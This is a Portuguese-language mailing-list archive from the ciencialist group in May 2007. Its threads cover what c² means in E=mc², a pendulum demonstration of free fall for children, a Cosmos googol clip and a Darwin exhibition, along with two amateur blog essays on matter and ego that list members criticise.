Vou responder algo que é típico seu: juntar duas coisas sem qualquer nexo! Como nessa frase:"Assim como não tem como imaginar o molhado sem imaginar a água, seria isto?".

Veja 'molhado' e 'água'. Cá estou eu com um pano molhado em álcool limpando minha mesa de trabalho, poderia te-lo molhado com VEJA, detergente, gasolina, querosene etc. Que tem a água a ver com isso?
Você quer que c² inspire algo com velocidade, mas não inspira; ali eu leio 'velocidade da luz ao quadrado' e não penso em 'velocidade da luz vezes velocidade da luz' ou não penso em dx/dt vezes dx/dt ou não penso em integral de (1/3)c³ ou outros devaneios. É apenas c²!


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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 30 de abril de 2007 17:55
Assunto: Re: [ciencialist] E=m.c2


Olá Luiz!

Grato pela resposta.
Entendi bem.
Mas ainda fica a questão: o que é c²?
Km² é area, e c²? Recebe alguma denominação?
Ou é algo como x² numa equação qualquer?

Vc diz: c² não foi 'feito para imaginar'

c é velocidade da luz, certo?
c² é velocidade da luz x velocidade da luz, é isto?
velocidade x velocidade? No que dá isto?
ou vc diz que c² é inamaginavel porque não tem como
imaginar velocidade, se imaginar um corpo ao mesmo
tempo? Seria por isto? Assim como não tem como
imaginar o molhado sem imaginar a água, seria isto?

Vc diz: m.c² sim... já saiu da imaginação, Hiroshima
nos contou a realidade disso

me parece que está sua afirmação

Como vc vê, sua frase: "confirma minha teoria da água e do molhado em relação ao c².", não só não é uma teoria, como nada tem a ver.

[]'


agradeço se vc ou alguém me responder
grato. ferrari





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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 12:03

Olá Takata!

Takata >>> C2 é metro ao quadrado sobre segundo ao
quadrado em termos de unidades (SI).

--- Ok. Mas pensa aqui comigo. Se:

A) m/segundo = velocidade de deslocamento de um corpo
(ponto físico)
B) m2/segundo = ? (medida de velocidade de
deslocamento de uma área?) É isto?
C) m2/segundo2 = ? (medida de velocidade de
deslocamento do que?)

Takata >>> Em termos de grandeza, C2 é o quadrado da
velocidade.

--- Sim, e o que é o quadrado de uma velocidade. Se
fossemos dar um nome pra isto, que nome podemos dar?

--- O quadrado de uma reta é um plano, e o quadrado de
velocidade, o que é?

--- Se não souber, fique a vontade para dizer, eu não
sei. Eu também não sei, por isto estou investigando.

Takata >>> C2 trata-se de uma constante.

--- Constante na equação, ou constantante de fato? Que
fato é este? O que é constante na matéria?
Interessante isto, não acha? A equação parece dizer
que tem algo constante na matéria. O que seria isto?

Takata >>> De onde ela surge fica claro qdo se estuda
a dedução da fórmula - q não foi na base de suposições
místicas do tipo "como energia é movimento então farei
com q energia seja igual à massa se deslocando...".

--- Por favor, se vc está se referindo a minha
interpretação da equação, atenção, não disse isto:
"massa se deslocando". Repito, não disse isto! O que
afirmo é o seguinte: Energia = massa vibrando. Sou
contra a idéia de deslocamento. Pra mim, deslocamento
é uma ilusão macrocosmica. Ao meu ver a matéria
(universal) não se desloca, apenas vibra (no mesmo
lugar). E não tem nada de mistico nisto. Minha teoria
é fruto da observação do comportamento da matéria
assim como a sua.

Takata >>> Mas para vc entender o processo de dedução
dessa famosa fórmula, posso recomendar este artigo:

> Uma comparação entre deduções da equação E=mc^2
>
http://www.sbfisica.org.br/rbef/Vol26/Num2/040103.pdf

--- Grato pela recomendação. Vou dar uma olhada assim
que der pois está e pdf e acesso a net da lan.


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: Dia do trabalho: dedicando o trabalho.
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 12:08

Diachos! Vc cortou meu comentário!
Agora, o máximo que posso propor é trocar esse vocábulo popular por 'afazeres' e deixar o trabalho das forças sossegado.
"Trabalhar"!!! argh! Quem inventou esse descabimento!

[]'
===========================
Luiz Ferraz Netto [Léo]
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 1 de maio de 2007 23:25
Assunto: [ciencialist] Re: Dia do trabalho: dedicando o trabalho.


--- Em ciencialist@yahoogrupos.com.br, "Enio Marcos" <eniomarcos@...>
> Lavar um prato é trabalho, certo?

Feliz dia do Fxd

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Caiu na prova
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 12:19

Olá JC e todos,

essa minha mensagem abaixo se refere à gurizada do ensino básico de 1,5 a 6 ou 7 anos ... ou mesmo 8 ou 9! Ou mesmo aos ........... bem, deixa prá lá!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 2 de maio de 2007 11:22
Assunto: Re: [ciencialist] Re: Caiu na prova


Olás,

eu não respondi à questão do JC e acredito que não temos argumentos para respondê-la. Essa e diversas outras (todas sem resposta para a gurizada) é que me fizeram tirar do Feira de Ciências o 'ensino básico' de Ciências: não estou capacitado para tanto.
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Mãe é uma Lua só ou são muitas Luas? Toda noite não nasce uma?
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Nessa em particular, do JC, não haverá resposta até que o garoto possa discernir peso e massa.
Se a massa aumenta, o peso aumenta na mesma proporção e a aceleração é a mesma [numa dada região da terra]. Como mostrar isso ao guri?
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O garoto ainda não está, na média, na idade de abstrair. Tem garoto excepcional (não, não é substantivo!) --- mas não é média.

Não sei como responder.
Poderia tentar, não custa nada ... e usaria de um pêndulo.

Uma chumbada de 100 g na ponta de um barbante de 2 m de comprimento oscila com período que dá perfeitamente pro garoto ver 'quanto é'. Muitos recursos, inclusive fazê-lo síncrono com o ponteiro dos segundos do relojão da cozinha. É a queda do pêndulo.
Dobre a chumbada, 200 g, o período é o mesmo: aumentou o peso e o pêndulo cai do mesmo jeito, no mesmo tempo!

Veja a idéia oculta para o garoto, o peso do pêndulo aumentou, mas sua massa também, um compensa o outro e o tempo de oscilação (queda) é o mesmo! Ou se quiser ser mais profundo, o componente do peso na direção da tangente, no ponto de inversão do pêndulo, dobrou, mas como a massa também dobrou, a aceleração tangencial é a mesma.

aquele abraço,

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De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 1 de maio de 2007 21:03
Assunto: RES: [ciencialist] Re: Caiu na prova


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Se nada disso der certo eu compro uma pena, um martelo e duas
> passagens pra Lua.

A questão do professor Zeca (não o do pagode) envolve tb psicologia e
não apenas física. O gedanken de Galileu pode ser abstrato demais para
um garoto de 8 anos.

Fico com o filme (e.g.):
http://youtube.com/watch?v=5C5_dOEyAfk

A explicação abstrata pode funcionar melhor como complemento -
explicando depois o q se observa no filme. (Claro, teremos q garantir
ao garoto q o filme é verdadeiro e não uma trucagem "oliudeana".)

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Dia do trabalho: dedicando o trabalho.
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 12:28

Sim, vamos formular essa proposta, que será engavetada juntamente com aquela
outra proposta dos puristas de criar o verbo "massar", só para não terem que
corrigir todos que dizem "eu me pesei...'

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, May 02, 2007 12:08 PM
Subject: Re: [ciencialist] Re: Dia do trabalho: dedicando o trabalho.


Diachos! Vc cortou meu comentário!
Agora, o máximo que posso propor é trocar esse vocábulo popular por
'afazeres' e deixar o trabalho das forças sossegado.
"Trabalhar"!!! argh! Quem inventou esse descabimento!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 1 de maio de 2007 23:25
Assunto: [ciencialist] Re: Dia do trabalho: dedicando o trabalho.


--- Em ciencialist@yahoogrupos.com.br, "Enio Marcos" <eniomarcos@...>
> Lavar um prato é trabalho, certo?

Feliz dia do Fxd

[]s,

Roberto Takata




SUBJECT: Re: E=m.c2
FROM: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 13:00

Oi pessoal, a quanto tempo em...

gostaria de fazer alguns comentarios sobre a eq. E=mc2

na verdade, esta equacao nao eh devia a einstein, ela foi
primeiramente escrita por Poincare. Alias, desde os trabalhos de
Thomsom e Maxwell em eletrodinamica ja se sabia que era possivel
associar uma massa (inercia) a energia confinada em um campo eletrico
ou magnetico. Chega-se a seguinte expressao: E = 4/3 mc2. Esta
equaçao nao estah errada, acontece que, como demonstrou Lorentz e
Poicare, esta e a energia associado apenas as interacoes
eletromagneticas, mas quando se leva em consideraçao a energia de,
por exemplo, da caixa que contem esta radiaçao, entao o fator 4/3
desaparece.
Einstein deduziu a equaçao E=mc2 de uma forma diferente, para um caso
especifico, (a partir da reflexão de um raio de luz em um espelho
quando visto em diferentes referenciais, e utilizou o princípio da
conservação de energia), e daí concluiu que ela fosse universalmente
válida. Na verdade, isso nao ocorre, conforme demonstrou Planck em
termodinamica relativistica a casos onde se tem H=mc2, onde H é a
entalpia do sistema...
Tudo o que eu disse aqui está contido no excelente texto "A dinamica
relativistica antes de Einstein"

http://www.sbfisica.org.br/rbef/Vol27/Num1/martins.pdf

de Roberto A. de Martins, um excelente texto, vale comentar...

até mais...

Ricardo S. Vieira.



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá Ferrari,
>
> não vou me ater ao c² pois já foi dito que essa constante não tem
significado físico algum; é um dos passos numa expressão matemática.
>
> Vou responder algo que é típico seu: juntar duas coisas sem
qualquer nexo! Como nessa frase:"Assim como não tem como imaginar o
molhado sem imaginar a água, seria isto?".
>
> Veja 'molhado' e 'água'. Cá estou eu com um pano molhado em álcool
limpando minha mesa de trabalho, poderia te-lo molhado com VEJA,
detergente, gasolina, querosene etc. Que tem a água a ver com isso?
> Você quer que c² inspire algo com velocidade, mas não inspira; ali
eu leio 'velocidade da luz ao quadrado' e não penso em 'velocidade da
luz vezes velocidade da luz' ou não penso em dx/dt vezes dx/dt ou não
penso em integral de (1/3)c³ ou outros devaneios. É apenas c²!
>
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Ferrari" <emailferrari@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: segunda-feira, 30 de abril de 2007 17:55
> Assunto: Re: [ciencialist] E=m.c2
>
>
> Olá Luiz!
>
> Grato pela resposta.
> Entendi bem.
> Mas ainda fica a questão: o que é c²?
> Km² é area, e c²? Recebe alguma denominação?
> Ou é algo como x² numa equação qualquer?
>
> Vc diz: c² não foi 'feito para imaginar'
>
> c é velocidade da luz, certo?
> c² é velocidade da luz x velocidade da luz, é isto?
> velocidade x velocidade? No que dá isto?
> ou vc diz que c² é inamaginavel porque não tem como
> imaginar velocidade, se imaginar um corpo ao mesmo
> tempo? Seria por isto? Assim como não tem como
> imaginar o molhado sem imaginar a água, seria isto?
>
> Vc diz: m.c² sim... já saiu da imaginação, Hiroshima
> nos contou a realidade disso
>
> me parece que está sua afirmação
>
> Como vc vê, sua frase: "confirma minha teoria da água e do molhado
em relação ao c².", não só não é uma teoria, como nada tem a ver.
>
> []'
>
>
> agradeço se vc ou alguém me responder
> grato. ferrari
>
>
>
>
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SUBJECT: RES: [ciencialist] Carl Sagan e o googol
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 13:35

Eu tenho a série completa em DVD (da super-interessante). Se souber o
episódio (eu não lembro), eu te passo o trecho.

[]s
Ricardo

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: quarta-feira, 2 de maio de 2007 11:25
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Carl Sagan e o googol

Prezados cidadãos do planeta Terra,

Estou em busca de um fragmento de vídeo do programa Cosmos, de Carl Sagan,
onde o apresentador discorre sobre o número "googol" (10^100). No momento,
só achei um video com uma narração em espanhol por cima que não permite
compreender muito bem o que Sagan está falando
(http://www.youtube.com/watch?v=Ym2jtvOZZrk). Se alguém tiver notícias do
original, agradeço.

[ ]s

Alvaro Augusto de Almeida
http://alvaroaugusto.blogspot.com
alvaro@lunabay.com.br



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SUBJECT: Re: RES: [ciencialist] Carl Sagan e o googol
FROM: Marcos Paulo Serafim <mpserafim@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 14:00

O episódio onde ele trata desse assunto (mais precisamente aos 7 min. e
45 seg.):

http://video.google.com/videoplay?docid=-3426624227712026764

[]'s
Marcos Paulo Serafim


Ricardo escreveu:
> Eu tenho a série completa em DVD (da super-interessante). Se souber o
> episódio (eu não lembro), eu te passo o trecho.
>
> []s
> Ricardo
>
> -----Mensagem original-----
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Alvaro Augusto (L)
> Enviada em: quarta-feira, 2 de maio de 2007 11:25
> Para: ciencialist@yahoogrupos.com.br
> Assunto: [ciencialist] Carl Sagan e o googol
>
> Prezados cidadãos do planeta Terra,
>
> Estou em busca de um fragmento de vídeo do programa Cosmos, de Carl Sagan,
> onde o apresentador discorre sobre o número "googol" (10^100). No momento,
> só achei um video com uma narração em espanhol por cima que não permite
> compreender muito bem o que Sagan está falando
> (http://www.youtube.com/watch?v=Ym2jtvOZZrk). Se alguém tiver notícias do
> original, agradeço.
>
> [ ]s
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> Alvaro Augusto de Almeida
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SUBJECT: CULTURA: Darwin no MASP
FROM: "Eduardo Santos Gama" <edusantosgama@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 14:04

A exposição vai reunir mais de 400 peças, 100 manuscritos originais,
filmes, vídeos, plantas e animais vivos numa área de 1.200 m2 do Museu
de Arte de São Paulo (Masp).
Dividida em oito seções, a mostra aborda como era o mundo antes das
descobertas de Darwin, como foi a sua educação, a viagem de cinco anos
no navio Beagle (o evento mais importante na sua carreira como
naturalista)-, a formulação de sua principal teoria, os métodos de
pesquisa que empregava e como as suas idéias chegam ao século 21.
Mesmo os criacionistas vão se impressionar com alguns objetos expostos,
entre eles a Bíblia e a pistola do naturalista.
Para os demais, o mais interessante será conhecer a lente original com
que Darwin curou a cegueira de parte da humanidade.

Site: HYPERLINK "http://www.darwinbrasil.com.br/"
\nwww.darwinbrasil.-com.br Período 04/05 - 15/07 Masp fone: 32515644

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 14:43

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> A) m/segundo = velocidade de deslocamento de um corpo
> (ponto físico)

m/s não necessariamente é velocidade de deslocamento. Pode ser a
medida de crescimento linear de um corpo ou objeto - por exemplo, a
taxa de crescimento dos fios de cabelo.

> B) m2/segundo = ? (medida de velocidade de
> deslocamento de uma área?) É isto?

área não se desloca pelos motivos q o Prof. Leo já mencionou.
Superfícies podem se deslocar, mas não seu deslocamento se mede como
qq outro deslocamento - em unidade de comprimento - assim a velocidade
de deslocamento não seria em termos de unidades de área.

Medidas como m2/s poderia representar, por exemplo, a taxa de variação
do tamanho de uma superfície. Por exemplo, a taxa de desmatamento, de
perda de regioes agricultáveis, expansão territorial de um país ou
império ao longo da história, alastramento de uma doença, etc...

> C) m2/segundo2 = ? (medida de velocidade de
> deslocamento do que?)

Já foi dito q não é velocidade. Nem deslocamento.

Mas m2/s2 poderia, por exemplo, representar a aceleração da taxa de
expansão dos exemplos citados acima. (Embora não seja o significado na
fórmula E = m.c2)

> --- Sim, e o que é o quadrado de uma velocidade. Se
> fossemos dar um nome pra isto, que nome podemos dar?

De 'quadrado da velocidade', parece ser um bom nome.

> Takata >>> C2 trata-se de uma constante.
>
> --- Constante na equação, ou constantante de fato?

Como 'c' é constante, c2 tb é uma constante física.

> fato é este? O que é constante na matéria?
> Interessante isto, não acha? A equação parece dizer
> que tem algo constante na matéria. O que seria isto?

Não é na matéria. É na natureza. E na natureza há outras constantes. O
próprio Einstein teria dito uma vez q o q se chama de Teoria de
Relatividade seria melhor entendida como Teoria das Invariantes. Em
Física a busca de invariantes - ainda q não constantes - é uma busca
constante. As invariantes são grandezas q se conservam após
determinadas transformações de um sistema - como mudanças de
coordenadas, mudança no tempo (a energia é uma invariante no tempo
para um dado sistema), no espaço (o momento é uma invariante no espaço
para um dado sistema), de forma (relações topológicas se conservam com
a deformação de um corpo - desde q não se introduzam cortes ou rasgos)
e assim por dante. As constantes são valores q se conservam para qq
referencial.

> Energia = massa vibrando.

Massa vibrando tem energia, assim como massa sem vibração alguma.
Aliás, a equação E = m.c2 mostra exatamente q existe energia associada
à massa - apenas à massa q não precisa estar se deslocando, vibrando
ou fazendo qq outra coisa q não seja ser massa.

> Sou contra a idéia de deslocamento. Pra mim, deslocamento
> é uma ilusão macrocosmica.

Bom pra vc. Na Física a coisa é bem diferente. Tto qto se sabe, na
Natureza tb.

[]s,

Roberto Takata



SUBJECT: O Dia que a Matéria entrou pelo Cano ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: emailferrari@yahoo.com.br
DATE: 02/05/2007 15:53

O DIA QUE A MATÉRIA ENTROU PELO CANO - por Ferrari
(sobre energia e matéria)

http://pedraderoseta.blogspot.com

Não há explicação cientifica alguma do porque matéria
e energia existam. Mas que existem, existem. Isto é
inegável. Sabemos que somos matéria e energia. Que
tudo que existe é matéria e energia. Contudo, o que é
matéria e energia?

Certa vez, quando estava iniciando o compartilhamento
de arquivos de som pela internet, instalei no meu
computador um programa chamado Napster. Em poucos
cliks percebi que meu PC estava fazendo downloud de um
computador australiano. Era um computador tão distante
(fisicamente falando) e ainda assim o downloud estava
acontecendo em frações de segundo.

Parei pra pensar sobre aquilo e foi então que, pela
primeira vez, me dei conta de que fluxo de
eletricidade não é um fluxo de partículas materiais
através de um meio vazio (espaço), mas sim um fluxo de
partículas vazias através de um meio material. Vou me
explicar.

Até aquele dia, ingenuamente, acreditava que a
eletricidade que transitava pelos fios da rede
elétrica, dos telefones, da internet, etc, era um
fluxo de partículas materiais (tipo gotas de água) e
que fluíam pelos fios feito água fluindo por um cano
oco. Contudo, naquele dia, me dei conta de que não
poderia ser isto, pois conforme o downloud acontecia,
o HD do computador australiano não diminuía nem o meu
aumentava.

Assim, ficou claro pra mim que a eletricidade não
poderia ser um fluxo de natureza material, mas que
deveria ser de alguma outra natureza. Que natureza
seria esta? O que de fato estava saindo do computador
australiano e chegando no meu PC?
A resposta a esta pergunta, as empresas de
eletricidade e telefonia sabem muito bem, pois é
justamente isto que elas cobram no boleto bancário:
pulso.

O que de fato estava saindo do computador australiano
e chegando no meu PC eram impulsos. Pulsos são como
ondas se propagando pelo mar. Ou seja, a eletricidade
não vinha da Austrália pelo fio feito água pelo cano,
mas como ondas (impulsos) numa corda esticada.

Cheguei então a conclusão de que eletricidade é um
fluxo de impulsos imateriais fluindo pela matéria e
não um fluxo de matéria impulsionadas por um meio
imaterial (vazio). O fluxo de eletricidade, por ser
imaterial, estava mudando o estado da matéria (do HD),
mas sem mudar sua essência (substancia). No meu HD
tudo mudava, mas nada se perdia.

Mas se a eletricidade não era feita de particulas de
matéria fisica, se não era uma coisa tridimensional,
nem cheia, nem dura, nem mole, nem com qualidade
alguma. Se a eletricidade era um fluxo de impulsos
imateriais fluindo pela matéria, assim como ondas no
mar, que mar era este? Ou seja, o que é esta matéria
pela qual a energia flui?

Minha afirmação é: matéria é a substancia desconhecida
que a ciencia física conhece e divide em espaço vazio
e espaço cheio. Pode parecer estranho dizer isto, mas
isto acontece porque matéria é território, não é o
mapa. Vou explicar.

Existe uma frase metafórica criada pela psicologia que
diz assim: “O mapa não é o território”. O que
significa isto? Significa que assim como um mapa
(desses rodoviários) é uma construção cartográfica do
território, assim também é o conhecimento humano: uma
construção mental da realidade. Ou seja, assim como
não vemos a internet diretamente com os olhos, mas
através de uma interface eletrônica chamada windows,
também não vemos diretamente a realidade, mas através
de uma interface mental chamada raciocínio.

É como se o cérebro humano fosse uma câmera de vídeo.
Uma câmera de vídeo está em contato direto com a
realidade e capta o movimento da realidade, porém,
quanto mais ela capta o movimento da realidade, mais
ela transforma a realidade em imagem de vídeo. O
raciocínio faz a mesma coisa. O cérebro humano está em
contato direto com a matéria (desconhecida) e capta o
movimento da matéria (pulso), porém, quanto mais ele
capta o movimento da matéria mais ele transforma a
matéria (desconhecida) em conhecimento. Ou seja:
espaço vazio e cheio.

É fácil compreender isto! Basta, por exemplo, você se
dar conta de que a matéria deste monitor de computador
na sua frente não está dentro da sua mente. E o que
está dentro da sua mente? Um mapa mental da matéria
(desconhecida), feita de conhecimento (cheios e
vazios).

Sendo assim, podemos concluir que isto conhecemos
sobre a matéria hoje e tudo o que viermos a conhecer
no futuro, nada tem a ver com a matéria (em si), mas
apenas com seu mapeamento, com a sua racionalização,
pois toda e qualquer tentativa de conhecer a matéria
(desconhecida) é um ato que o transforma imediatamente
em mapa colorido de cheios e vazios.


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SUBJECT: As Regras do Jogo ::: (artigo) - sobre o ego
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: emailferrari@yahoo.com.br
DATE: 02/05/2007 16:04

AS REGRAS DO JOGO - por Ferrari
(sobre comportamento humano)

http://egogame.blogspot.com

Você já observou o comportamento de um jogador numa
partida de futebol? Já notou que ele está sempre
correndo dentro das quatros linhas, nunca pega a bola
com a mão, sempre passa a bola para o jogador de
camisa da mesma cor e nunca chuta contra o próprio
gol? Comportamento estranho este, você não acha?

Sendo brasileiro, talvez você ache normal. Mas imagine
que você fosse de outro planeta e estivesse assistindo
um jogo de futebol pela primeira vez. Você acharia ou
não acharia estranho o comportamento de um jogador de
futebol?

Você provavelmente se perguntaria: “Por que ninguém
passa a bola pro cara de preto? Por que eles não pegam
a bola com a mão e saem correndo? Por que o goleiro
chuta a bola no gol mais longe e não no gol mais
perto?”

Conseguiu ver tudo isto com visão de extraterrestres?

Pense agora no seu próprio comportamento durante o
jogo do dia a dia. Não é tão estranho como o
comportamento de um jogador de futebol? Ponha
novamente sua visão de extraterrestre e vamos olhar
sua rotina.

Você acorda com um barulho estranho de campainha.
Levante, enfia um troço de plástico na boca e começa a
fazer espuma. Cospe tudo numa bacia. Veste um uniforme
de trabalho que consiste de varias vestimentas e um
pano que lhe aperta o pescoço. Depois sai pra rua. Se
alguém lhe diz “bom dia”, você responde educadamente.
Se alguém lhe xinga no transito, você responde sem
educação. Você liga um aparelho no carro e começa a
tocar uma música que lhe deixa irritado. Você muda de
estação e tem outra musica. Por algum motivo, você
deixa de ficar irritado e começa a balançar a cabeça
pra lá e pra cá. Quando chega no trabalho, fica das
oito até as seis da tarde resolvendo um monte de
problemas que não tem nada a ver com sua vida pessoal.
No fim do dia, você volta pra casa, pede um alimento
redondo pelo telefone, come e dorme.

Muito estranho seu comportamento, não acha?

É claro que sua vida pessoal possui particularidades
mil e indescritíveis, contudo, você consegue perceber
através deste exemplo que, assim como um jogador de
futebol, cada mínima parcela do seu comportamento é,
numa visão extraterrestre, totalmente sem sentido?

Mas se o seu comportamento é sem sentido, porque você
“sempre” se comporta do jeito que você “sempre” se
comporta?

Pelo mesmo motivo que o jogador de futebol corre
sempre dentro das quatro linhas. O jogador de futebol
faz o que faz porque ele está seguindo as regras do
jogo. Você faz a mesma coisa, só que num jogo
diferente: o jogo humano.

Por milhares de motivos, e na prática do dia a dia,
você foi descobrindo que se fizesse tal coisa, era gol
(prazer), se fizesse outra coisa era pênalti (dor). Ou
seja, você foi criando raciocínios (regras) para guiar
seu comportamento. Mas o sentido dos seus
comportamentos não existem sem seus respectivos
raciocínios, e é por isto que, num olhar
extraterrestre, você mesmo acha seu comportamento
estranho.

Mas se o seu comportamento, assim como o comportamento
de um jogador de futebol, é guiado por regras: onde
estão as regras?

Estão na memória. Regras são raciocínios memorizados
que só existem dentro da memória. É por isto que não
conseguimos compreender o comportamento dos outros,
não temos acesso a memória dos outros.

>>> Raciocínios são associações mnemônicas (regras).


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MAIS SOBRE O EGO? TEM AQUI:
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SUBJECT: Re: O Dia que a Matéria entrou pelo Cano ::: (artigo)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 16:42

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Até aquele dia, ingenuamente, acreditava que a
> eletricidade que transitava pelos fios da rede
> elétrica, dos telefones, da internet, etc, era um
> fluxo de partículas materiais (tipo gotas de água) e
> que fluíam pelos fios feito água fluindo por um cano
> oco.

Primeiro, quase certamente não existe uma conexão física (de hardware)
direta entre Austrália e Brasil. Há uma etapa de transmissão por
satélite, o q não envolve uso de elétrons. Há tb seguramente a
transmissão por cabos de fibra óptica, o q novamente não envolve
transmissão de elétrons. Terceiro, mm em um fio condutor de
eletricidade o transporte de energia não se dá pelo deslocamento de
elétrons ao longo do fio - mas sim por meio de ondas (em uma analogia
pense q se vc bater em uma extremidade de uma barra de ferro, na outra
ponta a pessoa escutará um som, mas isso não se deveu ao deslocamento
de partículas de uma extremidade a outra - e sim à passagem de ondas
de compressão/descompressão ao longo da barra).

Isso fica claro se pensarmos na corrente alternada q é a usada
normalmente em nossas fiações. A corrente flui ora em um sentido, ora
em outro - logicamente não pode haver um deslocamento final diferente
de zero para o elétron.

Quarto. A internet ainda não usa a fiação de eletricidade (embora
existam testes). A maior parte se dá pelo sistema de telefonia - sim,
na qual se usam fios q conduzem pulsos elétricos. Mas note q são
"pulsos" elétricos e não os elétrons em si - q se deslocam, mas em uma
velocidade bem menor e não são eles mm os portadores das informações.

[]s,

Roberto Takata



SUBJECT: Re: As Regras do Jogo ::: (artigo) - sobre o ego
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 16:48

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Por milhares de motivos, e na prática do dia a dia, você foi
> descobrindo que se fizesse tal coisa, era gol (prazer), se fizesse
> outra coisa era pênalti (dor). Ou seja, você foi criando raciocínios
> (regras) para guiar seu comportamento. Mas o sentido dos seus
> comportamentos não existem sem seus respectivos raciocínios, e é por
> isto que, num olhar extraterrestre, você mesmo acha seu
> comportamento estranho.

Não se descobrem as regras do futebol. As regras são ensinadas. Niguém
fica tentando desvendar por q um chute na canela em um lugar do campo
resulta em falta e em outro lugar resulta em pênalti - bem, salvo as
nossas namoradas q resolvem assistir à final do campeonato ao nosso
lado - essas regras são ensinadas (e por muitos esquecidas) qdo os
garotos treinam.

[]s,

Roberto Takata



SUBJECT: Pergunta de Geopolítica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 17:04

Pra quem entende de geopolítica...

O Oriente Médio tem sido um barril de pólvora, entre outras coisas,
por conta dos barris de petróleo q jorram de suas jazidas.

A América Latina sempre foi relegada a um plano secundário (pelo menos
desde a descolonização nos idos de 1800 e tantos).

Mas com a questão do chavismo sustentado no petróleo venezuelano, o
moralesianismo no gás boliviano e agora a questão do álcool
combustível brasileiro... q bicho vai dar nestas paragens?

[]s,

Roberto Takata



SUBJECT: Re: As Regras do Jogo ::: (artigo) - sobre o ego
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 17:22

Olá Takata e demais

Ferrari: "Mas imagine que você fosse de outro planeta e estivesse assistindo um jogo de futebol pela primeira vez. Você acharia ou
não acharia estranho o comportamento de um jogador de futebol?
...
Mas o sentido dos seus comportamentos não existem sem seus respectivos raciocínios, e é por isto que, num olhar extraterrestre, você mesmo acha seu comportamento estranho."

Takata: "Não se descobrem as regras do futebol. As regras são ensinadas. "

O texto do Ferrari é um plágio/chupada de um excelente texto do site do Projeto Ockam, sobre o método Científico. Está totalmente distorcido, é claro, mas o jogo de futebol visto por extraterrestres foi utlizado pelo artigo original para demonstrar como um processo racional e lógico pode nos ajudar a compreender regras e normas implícitas a fenomenos e eventos do nosso universo.

Recomendo a leitura, até para desfazer os enganos apresentados pelo Ferrari quanto ao que é razão, raciocínio e método científico.

http://www.projetoockham.org/ferramentas_metodo_2.html (a parte com o jogo de futebol e alienigenas)

http://www.projetoockham.org/ferramentas_metodo_1.html (o início do excelente artigo)

Um abraço.

Homero

PS: O Ferrari, pelo menos cite a fonte de suas idéias..:-)


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Pergunta de Geopolítica
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 17:39

Minha modesta opinião (não sou entendido do assunto, nem é preciso dizer
isso):

A instabilidade do Oriente Médio tem causas internas e externas. A situação
